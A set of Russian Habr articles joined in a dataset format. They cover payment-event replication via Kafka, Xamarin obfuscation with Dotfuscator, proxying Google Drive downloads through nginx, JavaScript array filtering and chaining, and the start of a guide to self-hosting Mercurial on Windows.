Такая схема с поллингом событий позволяет обеспечить восстановление состояния даже после закрытия вкладки браузера — в случае повторного запуска Checkout получит текущий список событий и отрисует актуальный сценарий взаимодействия с пользователем, например предложит ввести код 3D-Secure или покажет, что платеж уже был успешно проведен.
Репликация событий в Offline Zone
---------------------------------
Одновременно с интерфейсами управления автоматами Machinegun реализует сервис, отвечающий за переливку потока событий к сервисам, отвечающим за другие, менее онлайновые задачи платформы.
В качестве брокера очередей в финале мы остановились на Kafka, хотя ранее реализовывали эту функциональность силами самого Machinegun. В общем случае этот сервис представляет собой сохранение гарантированно упорядоченного потока событий, либо выдачу определенного списка событий по запросу другим потребителям.
Также изначально мы реализовывали схему дедупликации событий, предоставляя гарантии того, что одно и то же событие не будет реплицировано дважды, однако нагрузка на Riak, которую генерировал подобный, подход заставила от нее отказаться — все-таки поиск по индексам — это не лучшее, что умеет KV-хранилище. Теперь за дедупликацию событий отвечает каждый сервис-потребитель самостоятельно.
В общем случае репликация событий со стороны Machinegun заканчивается на подтверждении сохранения данных в Kafka, а потребители уже подключаются к топикам Kafka и выкачивают те списки событий, которые им интересны.
### Шаблон типичного приложения Offline-зоны
Например, сервис Dudoser отвечает за то, чтобы отправить вам на электронную почту уведомление об успешно проведенном платеже. Он при запуске выкачивает список событий успешно проведенных платежей, берет оттуда информацию об адресе и сумме, сохраняет в локальный экземпляр PostgreSQL и использует его для дальнейшей обработки бизнес-логики.
Все остальные подобные сервисы работают по такой же логике, как например сервис Magista, отвечающий за поиск инвойсов и платежей в личном кабинете мерчанта или сервис Hooker, который отправляет асинхронные коллбеки на бекенд мерчантам, которые по той или иной причине не могут организовать поллинг событий, обращаясь напрямую к API процессинга.
Такой подход позволяет нам развязать нагрузку на процессинг, выделяя максимальные ресурсы и обеспечивая высокую скорость и доступность обработки платежей, предоставляя высокую конверсию. Тяжелые запросы вроде "бизнес-заказчики хотят смотреть статистику по платежам за последний год" обрабатываются сервисами, никак не влияющими на текущую нагрузку онлайн-части процессинга, и соответственно, не затрагивают вас, как плательщиков и мерчантов, как наших клиентов.
Пожалуй, на этом остановимся, чтобы не превращать пост в уж слишком большой лонгрид. В будущих статьях обязательно расскажу про нюансы обеспечения атомарности изменений, гарантий и очередности в нагруженной распределенной системе на примере Machinegun, Bender, CAPI и Hellgate.
Ну а про Salt Stack уже в следующий раз `¯\_(ツ)_/¯` | https://habr.com/ru/post/447440/ | null | ru | null |
# Защита ваших приложений Xamarin с помощью Dotfuscator
*Это перевод рассказа Джо Сьюэлла, разработчика из команды Dotfuscator на PreEmptiveSolutions.*
Давайте говорить честно: выпуск библиотеки, приложения для рабочего стола или мобильного приложения может стать горьким опытом. Как только вы выкладываете вашу программу в открытый доступ для всего мира, вы в определенной степени утрачиваете контроль над тем, как она используется. В частности, разработчики часто имеют дело с угрозой обратной разработки.
На многих платформах и во многих языках известным способом защиты от обратной разработки являются инструменты запутывания кода. Например, если вы — разработчик на платформе Android, вы, возможно, уже пользуетесь ProGuard для сокращения и обфускации кода на Java.
Теперь разработчики Xamarin имеют доступ к защите того же типа по всем основным семействам мобильных устройств, от Android и iOS до Universal Windows (UWP). Инструмент для работы называется Dotfuscator, версия Community Edition которого доступна в Visual Studio.
Сегодня мы рассмотрим, как обфускация может защитить приложение Xamarin. Android от обратной разработки, и как вы сможете применить ту же защиту для ваших собственных приложений Xamarin всего за несколько простых шагов.
Как обфускация защищает приложения
----------------------------------
Обфускация — это процесс, в ходе которого компилированный код приложения трансформируется в функционально идентичный код, который труднее подвергнуть обратной разработке. Обычно это делается с помощью инструмента автоматической обфускации или обфускатора. Далее приводится простой пример для иллюстрации, как запутывание кода защищает приложения от обратной разработки.
Рассмотрим нижеприведенный метод C# в исходном коде для игры Xamarin.Android:
Когда разработчики этой игры готовы встроить ее в устройство или выгрузить в магазин приложений, они компилируют исходный код в библиотеки и затем упаковывают эти библиотеки в пакет приложений. В данном примере разработчики упаковали библиотеки в файл APK для распространения на устройствах на платформе Android.
Однако, как только приложение выложено в магазин приложений, «плохой человек» может легко получить и вскрыть APK, генерируя декомпилированный код, который почти идентичен исходному коду в оригинале:
Обратите внимание, что тип, метод и идентификаторы элементов здесь те же, что и в исходном коде, даже если элементы кода обычно недоступны за пределами проекта (например, имеют маркировку internal («внутренний»)). Также обратите внимание, что поток общих команд метода, например, порядок операторов if («если»), отчетливо виден.
Если до распространения APK разработчики уже запускали библиотеки через версию Dotfuscator Community Edition, результаты обратной разработки будут иными:
Код защищен обфускацией при переименовании — основной формой обфускации кода. Свойства с простейшими именами, например, `ArrowsOnHand`, заменены методом присвоения имен, не относящихся к интуитивно понятным, например, b и g. Другие элементы кода также аналогично переименованы. Это сильно затрудняет чтение и формирование декомпилированного кода, поскольку отсутствуют важные контекстуальные ключи, обеспечиваемые именами.
Как подвергнуть ваше приложение обфускации
------------------------------------------
Теперь давайте перейдем к тому, как интегрировать обфускацию при переименовании с помощью Community Edition версии Dotfuscator'а в процесс сборки вашего приложения Xamarin. В качестве примера мы будем использовать приложение Xamarin.Android, упомянутое в предыдущем разделе. Вы можете повторить все с вашим собственным приложением Xamarin, включая версии для iOS и UWP.
Мы будем использовать Dotfuscator PreEmptive Protection — обфускатор и инструмент защиты от .NET, который теперь тоже поддерживает Xamarin.
**Примечание:** Эти шаги предполагают, что вы разрабатываете ваше приложение в VisualStudio 2017 для Windows.
Установка и настройка Dotfuscator
---------------------------------
Прежде всего, вам нужно установить Dotfuscator на вашу машину для разработки. Поскольку мы используем интерфейс командной строки Dotfuscator, вам также нужно будет зарегистрировать вашу копию и записать путь к интерфейсу.
### Чтобы установить и настроить Dotfuscator:
1. Зайдите на страницу Dotfuscator Downloads (Загрузки) на сайте PreEmptive Solutions.
2. Загрузите последнюю версию Dotfuscator Community Edition (CE) для Visual Studio 2017.
* Хотя Dotfuscator включен в Visual Studio, PreEmptive Solutions периодически выпускает важные обновления Dotfuscator между выпусками обновлений Visual Studio. Установка Dotfuscator таким способом гарантирует, что вы получаете самую свежую версию.
3. Откройте файл VSIX, который вы загрузили, и следуйте инструкциям.
4. Откройте Visual Studio 2017 и выберите Tools (инструменты) — PreEmptive Protection (вытесняющая защита)— Dotfuscator, чтобы запустить интерфейс пользователя Dotfuscator Community Edition
5. Вам нужно будет зарегистрировать вашу копию Dotfuscator, прежде чем вы сможете пользоваться интерфейсом командной строки. Dotfuscator выдаст запрос на регистрацию, когда вы откроете его в первый раз; следуйте этим инструкциям.
* Чтобы зарегистрироваться позже (register later) или проверить свой статус регистрации, найдите текст Registration status (статус регистрации) в правом верхнем углу стартовой страницы Dotfuscator Community Edition.
6. Вам нужно знать путь к интерфейсу командной строки, чтобы позже конфигурировать интеграцию сборки. Чтобы найти этот путь:
* Перейдите в установочный каталог для вашей установки Visual Studio 2017. Например, установочный каталог по умолчанию для Visual Studio 2017 Professional — это C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional.
* В этом каталоге находятся файлы расширения Dotfuscator Community Edition в \*\Common7\IDE\Extensions\PreEmptiveSolutions\DotfuscatorCE.
* Файл dotfuscatorCLI.exe — это интерфейс командной строки Dotfuscator Community Edition.
* Запишите полный путь к EXE-файлу для использования в будущем.
### Загрузите файл интеграции сборки
Чтобы упростить процесс интеграции, коллектив Dotfuscator создал файл-цель MSBuild targets, на который могут ссылаться ваши проекты Xamarin. Вы можете скачать его здесь.
Сохраните файл PreEmptive.Dotfuscator.Xamarin.targets в каталог с вашим решением, под контролем версий.
Измените Проект под использование интеграции сборки. Далее вам нужно изменить файл проекта для проекта в Visual Studio, который вы хотите подвергнуть обфускации.
#### Чтобы изменить ваш файл проекта:
1. Определите, какие конфигурации сборки проекта вы хотите защитить. Обычно это все конфигурации, кроме конфигураций Debug (отладка). Более детальные инструкции см. в разделе полной документации «Выберите, что защищать».
2. Откройте файл проекта в текстовом редакторе. Примером файла проекта для C# будет `YourProjectName.csproj`.
3. Определите относительный путь от этого файла до файла интеграции сборки, который вы скачали.
4. Импортируйте файл интеграции сборки, добавив следующую строку к файлу непосредственно перед фрагментом /Project:
5. Import Project="..\..\PreEmptive.Dotfuscator.Xamarin.targets» /, заменяя относительный путь, определенный в Шаге 3.
6. Под фрагментом PropertyGroup без атрибута Condition добавьте следующие фрагменты:
* DotfuscatorXamarinCliPathC:\pathto\dotfuscatorCLI.exe/DotfuscatorXamarinCliPath, заменяя полный путь к интерфейсу командной строки Dotfuscator Community Edition, который вы записали ранее.
* DotfuscatorXamarinConfigFileNameDotfuscatorConfig.xml/DotfuscatorXamarinConfigFileName
* DotfuscatorXamarinGenerateNewConfigFiletrue/DotfuscatorXamarinGenerateNewConfigFile
7. Для каждой конфигурации интеграции сборки, выбранной в Шаге 1, найдите соответствующий PropertyGroup и добавьте следующий фрагмент:
* DotfuscatorXamarinEnabledtrue/DotfuscatorXamarinEnabled
8. После последнего фрагмента ItemGroup добавьте следующее:
* ItemGroupNone Include=«DotfuscatorConfig.xml» //ItemGroup
9. Сохраните и закройте файл.
### Соберите приложение
Теперь вы можете собрать приложение с защитой Dotfuscator. Чтобы сделать это:
1. Откройте или снова загрузите ваш проект в Visual Studio
2. Выберите конфигурацию сборки решения, которая проверяет конфигурацию сборки проекта, которую вы хотите защитить
3. Соберите проект
4. После этой первой сборки определите, содержит ли результат сборки следующие строки, касающиеся Dotfuscator:
5. добавление файла DotfuscatorConfig.xml в ваш проект. Это файл конфигурации Dotfuscator, который сообщает Dotfuscator'у, как проводить обфускацию вашего кода. Рекомендуется проверить его в системе контроля версий.
6. В структуре каталогов и файлов найдите новый каталог DotfuscatorReports в каталоге вашего проекта. Этот каталог содержит информацию о том, как прошла обфускация проекта, включая сведения о том, как развернуть процесс переименования обратно. Вам следует обработать этот каталог аналогично результату сборки и убедиться, что система контроля версий игнорирует его.
7. Протестируйте ваше приложение. Если вы видите ошибки, вам может понадобиться дальнейшая конфигурация Dotfuscator'а, чтобы добиться корректного поведения см. следующий раздел для справки.
8. Продолжайте разрабатывать ваше приложение, собирая его как обычно. Когда Dotfuscator используется во время сборки, результат сборки будет содержать следующие строки:
Более подробную информацию о продолжении разработки с установленной обфускацией см. в разделе «Продолжение разработки» в Руководстве Пользователя Dotfuscator.
### Конфигурация переименования
Есть некоторые случаи, когда приложение предполагает, что имя элемента кода во время компиляции будет таким же, как во время работы приложения. Это, в частности, верно для приложений Xamarin на основе XAML и рефлексии. Обфускация путем переименования может нарушить эту предпосылку и привести к тому, что приложение после обфускации будет вести себя по-другому.
Хотя более новые версии Dotfuscator больше способны работать с такими сценариями автоматически, в некоторых случаях может потребоваться конфигурация вручную. Инструкции и примеры см. на странице «Идентифицировать исключения из переименования» в Руководстве Пользователя Dotfuscator.
### Продвинутая обфускация
Вместо бесплатной версии Dotfuscator Community Edition вы можете также подвергнуть ваши приложения Xamarin обфускации в версии Dotfuscator Professional Edition. Версия Professional Edition лицензирована для использования в коммерческих продуктах, бесплатные пробники есть в наличии по запросу.
Чтобы увидеть разницу между версиями Community и Professional, рассмотрим пример игры, упомянутый выше. Если разработчики пропустили свои каталоги через Dotfuscator Professional Edition вместо Community Edition, результаты обратной разработки будут выглядеть примерно так:
В дополнение к обфускации путем переименования этот код также подвергнут обфускации путем изменения потока управления. Операторы исходного кода перемежаются сложными для восприятия блоками «переключения» в кажущемся произвольным порядке, что сильно затрудняет выполнение команд. Эта и другие продвинутые формы обфускации содержатся исключительно в Dotfuscator Professional Edition.
Выводы
------
В этом посте мы увидели, как можно использовать Dotfuscator для защиты каталогов и приложений Xamarin от обратной разработки. Хотя мы использовали в качестве примера приложение на основе Android, те же самые шаги можно выполнить и для проектов на основе iOS и UWP, поэтому вы можете защитить ваше приложение независимо от того, на какой платформе оно работает.
Более подробные сведения о том, как защитить проекты Xamarin с помощью Dotfuscator, см. на странице Xamarin в Руководстве Пользователя Dotfuscator. Там вы также найдете гит-репозиторий, демонстрирующий, как интегрировать Dotfuscator в приложение Xamarin для всех трех платформ. | https://habr.com/ru/post/349084/ | null | ru | null |
# Раздаем файлы с Google Drive посредством nginx
### Предыстория
Так уж случилось, что нужно мне было где-то хранить более 1.5тб данных, да еще и обеспечить возможность скачивания их обычными пользователями по прямой ссылке. Поскольку традиционно такие объемы памяти идут уже на VDS, стоимость аренды которых не слишком вкладывается в бюджет проекта из категории «от нечего делать», а из исходных данных у меня был VPS 400GB SSD, куда при всем желании 1.5тб картинок без lossless сжатия поместить не удастся.
И тут я вспомнил про то, что если удалить с гугл-диска хлам, вроде программ, которые запустятся только на Windows XP, и прочие вещи, которые кочуют у меня с носителя на носитель с тех пор, когда интернет был не таким быстрым и вовсе не безлимитным (например, те 10-20 версий virtual box вряд ли имели какую-то ценность, кроме ностальгической), то все должно очень даже хорошо вместиться. Сказано — сделано. И вот, пробиваясь через лимит на количество запросов к api (кстати, техподдержка без проблем увеличила квоту запросов на пользователя за 100 секунд до 10 000) данные резво потекли в место своей дальнейшей дислокации.
Все вроде бы и хорошо, но теперь это нужно донести до конечного пользователя. Да еще и без всяких там редиректов на другие ресурсы, а чтоб человек просто нажал кнопочку «Download» и стал счастливым обладателем заветного файла.
Тут я, ей-богу, пустился во все тяжкие. Сначала это был скрипт на AmPHP, но меня не устроила создаваемая им нагрузка (резкий скачек на старте до 100% потребления ядра). Потом в дело пошел враппер curl для ReactPHP, который вполне вписывался в мои пожелания по поедаемому количеству тактов CPU, но давал скорость вовсе не такую, как мне хотелось (оказалось, что можно просто уменьшить интервал вызова curl\_multi\_select, но тогда мы имеем аналогичную первому варианту прожорливость). Пробовал даже написать маленький сервис на Rust, и работал он довольно резво (удивительно даже то, что он работал, с моими то познаниями), но хотелось большего, да и кастомизировать его было как-то непросто. Кроме того все эти решения как-то странно буфферизировали ответ, а мне хотелось отслеживать момент когда закончилась загрузка файла с наибольшей точностью.
В общем какое-то время это косо-криво, но работало. Пока однажды мне не пришла в голову замечательная по своей бредовости идея: nginx в теории может то, что я хочу, работает резво, да еще позволяет всякие извращения с конфигурированием. Надо попробовать — вдруг получится? И спустя пол дня настойчивых поисков родилось стабильно работающее уже несколько месяцев решение, которое отвечало всем моим требованиям.
### Настраиваем NGINX
```
# Первым делом создадим в конфигах нашего сайта отдельную локацию.
location ~* ^/google_drive/(.+)$ {
# И закроем её от посторонних глаз (рук, ног и прочих частей тела).
internal;
# Ограничим пользователям скорость до разумных пределов (я за равноправие).
limit_rate 1m;
# А чтоб nginx мог найти сервера google drive укажем ему адрес резолвера.
resolver 8.8.8.8;
# Cоберем путь к нашему файлу (мы потом передадим его заголовками).
set $download_url https://www.googleapis.com/drive/v3/files/$upstream_http_file_id?alt=media;
# А так же Content-Disposition заголовок, имя файла мы передадим опять же в заголовках.
set $content_disposition 'attachment; filename="$upstream_http_filename"';
# Запретим буфферизировать ответ на диск.
proxy_max_temp_file_size 0;
# И, что немаловажно, передадим заголовок с токеном (не знаю почему, но в заголовках из $http_upstream токен передать не получилось. Вернее передать получилось, но скорей всего его где-то нужно экранировать, потому что гугл отдает ошибку авторизации).
proxy_set_header Authorization 'Bearer $1';
# И все, осталось отправить запрос гуглу по ранее собранному нами адресу.
proxy_pass $download_url;
# А чтоб у пользователя при скачивании отобразилось правильное имя файла мы добавим соответствующий заголовок.
add_header Content-Disposition $content_disposition;
# Опционально можно поубирать ненужные нам заголовки от гугла.
proxy_hide_header Content-Disposition;
proxy_hide_header Alt-Svc;
proxy_hide_header Expires;
proxy_hide_header Cache-Control;
proxy_hide_header Vary;
proxy_hide_header X-Goog-Hash;
proxy_hide_header X-GUploader-UploadID;
}
```
**Краткую версию без комментариев можно увидеть под спойлером**
```
location ~* ^/google_drive/(.+)$ {
internal;
limit_rate 1m;
resolver 8.8.8.8;
set $download_url https://www.googleapis.com/drive/v3/files/$upstream_http_file_id?alt=media;
set $content_disposition 'attachment; filename="$upstream_http_filename"';
proxy_max_temp_file_size 0;
proxy_set_header Authorization 'Bearer $1';
proxy_pass $download_url;
add_header Content-Disposition $content_disposition;
proxy_hide_header Content-Disposition;
proxy_hide_header Alt-Svc;
proxy_hide_header Expires;
proxy_hide_header Cache-Control;
proxy_hide_header Vary;
proxy_hide_header X-Goog-Hash;
proxy_hide_header X-GUploader-UploadID;
}
```
### Пишем скрипт для управления всем этим счастьем
Пример будет на PHP и нарочно написан с минимумом обвеса. Я думаю, каждый, кто имеет опыт работы с любым другим языком сможет с помощью моего примера интегрировать это поделие.
```
php
# Токен для Google Drive Api.
define('TOKEN', '*****');
# ID файла на гугл диске
$fileId = 'abcdefghijklmnopqrstuvwxyz1234567890';
# Опционально, но так как мы не передаем никаких данных - почему бы и нет?
http_response_code(204);
# Зададим заголовок c ID файла (в конфигах nginx мы потом получим его как $upstream_http_file_id).
header('File-Id: ' . $fileId);
# И заголовок с именем файла (соответственно $upstream_http_filename).
header('Filename: ' . 'test.zip');
# Внутренний редирект. А еще в адресе мы передадим токен, тот самый, что мы получаем из $1 в nginx.
header('X-Accel-Redirect: ' . rawurlencode('/google_drive/' . TOKEN));</code
```
### Итоги
В целом данный способ позволяет довольно легко организовать раздачу файлов пользователям с любого облачного хранилища. Да хоть из telegram или VK, (при условии, что размер файла не превышает допустимый размер у этого хранилища). У меня была идея, подобная [этой](https://habr.com/ru/company/vds/blog/456290/), но к сожалению у меня попадаются файлы вплоть до 2гб, а способа или модуля для склейки ответов из upstream я пока не нашел, писать же какие-то врапперы для этого проекта неоправданно трудозатратно.
Спасибо за внимание. Надеюсь, моя история была хоть немного вам интересна или полезна. | https://habr.com/ru/post/460685/ | null | ru | null |
# Фильтрация и создание цепочек в функциональном JavaScript
*Предлагаем перевод [статьи](https://www.sitepoint.com/filtering-and-chaining-in-functional-javascript/), которая позволит освежить свои знания по теме, а также будет полезна новичкам в JavaScript, пока ещё осваивающим этот язык.*
Одна из вещей, которая многим нравится в JavaScript, это его универсальность. Этот язык позволяет использовать объектно-ориентированное программирование, императивное, и даже функциональное. И можно переключаться с одной парадигмы на другую в зависимости от конкретных нужд и предпочтений.
Хотя JavaScript поддерживает методики функционального программирования, он не оптимизирован для полноценного использования этой парадигмы, как Haskell или Scala. Не обязательно добиваться того, чтобы ваши JS-программы полностью соответствовали концепциям функционального программирования. Но их применение помогает поддерживать чистоту кода и концентрироваться на создании архитектуры, которая легко тестируется и может использоваться в нескольких проектах.
Фильтрация для ограничения датасетов
------------------------------------
С появлением ES5 массивы в JS унаследовали несколько методов, делающих функциональное программирование ещё удобнее. Теперь массивы нативно поддерживают [map](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/map), [reduce](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) и [filter](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/filter). Каждый метод проходит по всем элементам массива, и выполняет анализ без использования циклов и изменения локальных состояний. Результат может быть возвращён для немедленного использования, или оставлен для последующей обработки.
В этой статье мы рассмотрим процедуру фильтрации. Она позволяет вычислять каждый элемент массива. На основе передаваемого тестового условия (test condition) определяется, нужно ли возвращать новый массив, содержащий результаты вычисления. При использовании метода `filter` вы получаете в ответ ещё один массив, той же длины или меньше исходного. Он содержит подмножество элементов из исходного массива, удовлетворяющие заданным условиям.
Использование цикла для демонстрации фильтрации
-----------------------------------------------
Пример проблемы, решить которую поможет фильтрация — ограничение массива, содержащего строковые значения, только теми, что состоят из трёх символов. Задача не сложная, и решить её можно довольно искусно с помощью ванильных JS-циклов for, без использования filter. Например:
```
var animals = ["cat","dog","fish"];
var threeLetterAnimals = [];
for (let count = 0; count < animals.length; count++){
if (animals[count].length === 3) {
threeLetterAnimals.push(animals[count]);
}
}
console.log(threeLetterAnimals); // ["cat", "dog"]
```
Определили массив, содержащий три строковых значения. Создали пустой массив для хранения только строковых из трёх символов. Определили переменную-счётчик для цикла for, используемую по мере итерирования массива. Каждый раз, когда цикл находит строковое значение из трёх символов, он помещает его во второй массив. По завершении работы результат журналируется.
Ничто не мешает менять исходный массив в цикле. Но если мы это сделаем, то потеряем исходные значения. Лучше создать новый массив, а исходный не трогать.
Использование метода Filter
---------------------------
Предыдущее решение технически корректно. Но использование метода `filter` позволяет сделать код гораздо чище и проще. Например:
```
var animals = ["cat","dog","fish"];
var threeLetterAnimals = animals.filter(function(animal) {
return animal.length === 3;
});
console.log(threeLetterAnimals); // ["cat", "dog"]
```
Здесь мы тоже начали с переменной, содержащей исходный массив. Определили новую переменную для массива, куда будем класть строковые из трёх символов. Но применив метод `filter`, мы напрямую связали результаты фильтрации со вторым массивом. Передаём `filter` анонимной встроенной (in-line) функции, возвращающей `true`, если длина оперируемого значения равна трём.
Метод `filter` работает так: проходит по каждому элементу массива и применяет к нему тестовую функцию (test function). Если функция возвращает `true`, то метод `filter` возвращает массив, содержащий этот элемент. Другие элементы пропускаются.
Код получился гораздо чище. Даже не зная заранее, что делает `filter`, вы из кода можете понять его принцип действия.
Чистота кода — один из приятных побочных продуктов функционального программирования. Это следствие ограничения преобразования внешних переменных из функций и необходимости хранить меньше локальных состояний. Переменная `count` и разные состояния, принимаемые массивом `threeLetterAnimals` при прохождении циклов по исходному массиву, это дополнительные состояния, которые надо отслеживать. Метод `filter` избавил нас от цикла и переменной count. И мы не меняем многократно значение для нового массива, как в первом случае. Мы определили его один раз и связали со значением, получаемым в результате применения условия `filter` к исходному массиву.
Другие способы форматирования Filter
------------------------------------
Можно написать ещё короче. Воспользуемся объявлениями `const` и анонимными встроенными стрелочными функциями (inline arrow functions). Это благодаря EcmaScript 6 (ES6), который нативно поддерживается большинством браузеров и JavaScript-движков.
```
const animals = ["cat","dog","fish"];
const threeLetterAnimals = animals.filter(item => item.length === 3);
console.log(threeLetterAnimals); // ["cat", "dog"]
```
Пожалуй, чаще всего лучше избегать старого синтаксиса, если только ваш код не должен соответствовать уже существующей кодовой базе. Но подходить к этому нужно избирательно. Чем больше продумываешь, тем сложнее становится каждая строка кода.
JavaScript привлекателен тем, что позволяет организовывать код самыми разными способами, уменьшая размер, повышая эффективность, понятность и удобство сопровождения. Но из-за этого командам разработчиков приходится создавать общие руководства по стилю оформления кода и обсуждать преимущества и недостатки каждого принимаемого решения.
Чтобы сделать код читабельнее и гибче, можно сделать так. Взять анонимную встроенную стрелочную функцию, превратить в традиционную именованную и передать прямо в метод `filter`. Это может выглядеть так:
```
const animals = ["cat","dog","fish"];
function exactlyThree(word) {
return word.length === 3;
}
const threeLetterAnimals = animals.filter(exactlyThree);
console.log(threeLetterAnimals); // ["cat", "dog"]
```
Здесь мы просто извлекли анонимную встроенную стрелочную функцию, определённую до этого, и превратили в отдельную именованную. Мы определили чистую функцию (pure function). Она получает соответствующий тип-значение для элементов массива, и возвращает такой же тип. Можем в качестве условия просто передать в `filter` имя этой функции.
Быстрый обзор Map и Reduce
--------------------------
Фильтрация работает рука об руку с двумя другими функциональными методами ES5 — `map` и `reduce`. Создавая цепочки методов, можно использовать эту комбинацию для написания очень чистого кода, выполняющего довольно сложные функции.
Напомним: метод `map` проходит по каждому элементу массива, преобразует его в соответствии с функцией и возвращает новый массив той же длины, но с преобразованными значениями.
```
const animals = ["cat","dog","fish"];
const lengths = animals.map(getLength);
function getLength(word) {
return word.length;
}
console.log(lengths); //[3, 3, 4]
```
Метод `reduce` проходит по массиву и выполняет ряд операций. Промежуточный результат каждой из них передаёт в сумматор. По завершении обработки массива метод выдаёт финальный результат. В нашем случае можно использовать второй аргумент для начальной установки сумматора в 0.
```
const animals = ["cat","dog","fish"];
const total = animals.reduce(addLength, 0);
function addLength(sum, word) {
return sum + word.length;
}
console.log(total); //10
```
Все три метода оставляют нетронутым исходный массив, в соответствии с практикой функционального программирования.
Создание цепочек из Map, Reduce и Filter
----------------------------------------
Рассмотрим простейший пример. Допустим, вам нужно взять массив из строковых значений, и вернуть одно, состоящее из трёх символов. Но при этом отформатировать его в стиле [StudlyCaps](https://en.wikipedia.org/wiki/Studly_caps). Без `map`, `reduce` и `filter` это будет выглядеть примерно так:
```
const animals = ["cat","dog","fish"];
let threeLetterAnimalsArray = [];
let threeLetterAnimals;
let item;
for (let count = 0; count < animals.length; count++){
item = animals[count];
if (item.length === 3) {
item = item.charAt(0).toUpperCase() + item.slice(1);
threeLetterAnimalsArray.push(item);
}
}
threeLetterAnimals = threeLetterAnimalsArray.join("");
console.log(threeLetterAnimals); // "CatDog"
```
Да, это работает. Но мы создали кучу лишних переменных, и поддерживаем состояние массива, который меняется по мере прохождения через разные циклы. Можно сделать лучше.
Объявлять целевой пустой массив можно с помощью `let` или `const`.
Создадим чистые функции, берущие и возвращающие строковые значения. Затем используем их в цепочках методов `map`, `reduce` и `filter`, передавая результаты от одного к другому:
```
const animals = ["cat","dog","fish"];
function studlyCaps(words, word) {
return words + word;
}
function exactlyThree(word) {
return (word.length === 3);
}
function capitalize(word) {
return word.charAt(0).toUpperCase() + word.slice(1);
}
const threeLetterAnimals = animals
.filter(exactlyThree)
.map(capitalize)
.reduce(studlyCaps);
console.log(threeLetterAnimals); // "CatDog"
```
Три чистые функции: `studlyCaps`, `exactlyThree` и `capitalize`. Можно передавать их напрямую в `map`, `reduce` и `filter` в пределах одной неразрывной цепочки. Сначала с помощью `exactlyThree` фильтруем исходный массив. Передаём результат в `capitalize`. А уже её результат обрабатываем с помощью `studlyCaps`. Финальный результат присваиваем напрямую переменной `threeLetterAnimals`. Без циклов и промежуточных состояний, не трогая исходный массив.
Получили очень понятный и легко тестируемый код. Чистые функции могут быть использованы в других контекстах или преобразованы.
Фильтрация и производительность
-------------------------------
Не забывайте, что метод `filter` наверняка будет работать чуть медленнее, чем цикл `for`, пока браузеры и JS-движки не будут оптимизированы под новые методы работы с массивами ([jsPerf](https://jsperf.com/array-loop-vs-filter)).
Можно в любом случае порекомендовать использовать эти методы вместо циклов. Очень незначительное падение производительности окупается более чистым кодом, удобным в сопровождении. А оптимизировать лучше под реальные ситуации, когда действительно необходимо повысить скорость работы. В большинстве веб-приложений метод `filter` вряд ли будет узким местом. Но единственный способ убедиться в этом — попробовать самим.
Если же окажется, что `filter` в реальной ситуации работает значительно медленнее цикла, если это влияет на пользователей, то вы знаете, где и как можно оптимизировать. А по мере допиливания JS-движков производительность будет только расти.
Не бойтесь начать использовать фильтрацию. В ES5 эта функциональность нативна и поддерживается почти везде. Ваш код будет чище и проще в сопровождении. Благодаря методу `filter` вы не будете менять состояние массива по мере вычислений. Каждый раз вы будете возвращать новый массив, а исходный останется нетронутым. | https://habr.com/ru/post/324172/ | null | ru | null |
# Поднимаем Mercurial на Windows-сервере (с Nginx)
Недавно случайно [узнал](https://habr.com/ru/news/t/464475/), что BitBucket, где лежат мои Mercurial-репозитории, прекращает поддержку Mercurial: новые репозитории создавать уже нельзя, а существующие будут удалелы с 1.06.2020. Возможные варианты действий: перейти на Git, выбрать [один из других сервисов](https://www.mercurial-scm.org/wiki/MercurialHosting), или настроить хостинг Mercurial на своём сервере. Сервер у меня есть, отказываться от Mercurial и менять привычки как-то не хочется, альтернативы BitBucket мне тоже не приглянулись — поэтому выбрал последний вариант. Задача вроде несложная, вот только сервер у меня под Windows, и, кажется, в процессе настройки я умудрился наступить на максимум возможных граблей. Надеюсь, эта статья поможет кому-нибудь избежать этого и сэкономить время.
Различные варианты организации Mercurial-хостинга описаны [в документации](https://www.mercurial-scm.org/wiki/PublishingRepositories#Choosing_a_publishing_method). Их можно разделить на 3 группы:
1. **hg serve** — т.е. сам Mercurial запускается в режиме сервера.
2. **HgWeb.cgi** — официальный скрипт, входящий в дистрибутив Mercurial.
3. Решения от внешних разработчиков — более функциональные, но со своими ограничениями и зачастую платные.
### HG SERVE
Наиболее простым и логичным выглядит 1-й вариант. Как гласит документация, в Mercurial имеется встроенный веб-сервер, исполняющий HgWeb — именно он и работает, когда мы запускаем **hg serve**. Этот сервер не умеет делать аутентификацию, т.е. не умеет запрашивать логин/пароль пользователя, однако умеет делать авторизацию, т.е. давать/не давать тот или иной вид доспупа к репозиториям в соответствии с настройками доступа. Если нам нужны приватные репозитории, то для аутентификации можно использовать **Nginx** в качестве прокси-сервера, который будет запрашивать пароль. Настройка такой схемы описана [здесь](https://www.mercurial-scm.org/wiki/HgServeNginxWindows).
Для удобства **hg serve** запускается в виде сервиса с помощью **winsw** — утилиты, позволяющей запускать в виде сервиса любую команду (в данном случае это вообще bat-файл). Впрочем, для запуска можно обойтись и без сервиса, а, например, создать таск в Task Scheduler с триггером "At system startup" — такой таск будет запускаться при старте системы. Но это менее надёжный вариант: в случае сбоя таск не будет перезапущен, да и в логах информации об этом не будет.
Будьте внимательны с файлами конфигурации (hgweb.conf / hgrc):
* Их содержимое чувствительно к регистру: если, например, написать `[Web]` вместо `[web]` — работать не будет.
* Знак равенства обязательно должен быть окружен пробелами: если написать `push_ssl=false` — работать не будет, нужно писать `push_ssl = false`.
Ещё обратите внимание на то, что Mercurial делает **push** в репозиторий одним запросом, и если ваш проект не "Hello world", то этот запрос может быть объёмным и длительным. Пропишите в конфиге Nginx достаточно большие значения:
```
client_max_body_size 500M;
proxy_read_timeout 120s;
```
чтобы не оказаться в ситуации, когда вроде бы всё работает, а залить реальный проект на сервер не получается.
#### Проблема авторизации
В hgweb.conf задаётся общая для всех репозиториев конфигурация. Если нужны специфические настройки для каждого репозитория (а они нужны), то они указываются внутри репозитория: /.hg/hgrc Там можно, например, перечислить конкретных пользователей, имеющих доступ к данному репозиторию.
Чтобы это работало, Mercurial должен знать имя пользователя, который авторизовался в Nginx. И тут возникает проблема: на практике Mercurial видит всех пользователей, которых пропускает к нему **Nginx** одинаково безымянными. В различных источниках рекомендуют в конфигурации Nginx передавать имя пользователя в заголовках так:
```
proxy_set_header REMOTE_USER $remote_user;
```
или так:
```
proxy_set_header X-Forwarded-User $remote_user;
```
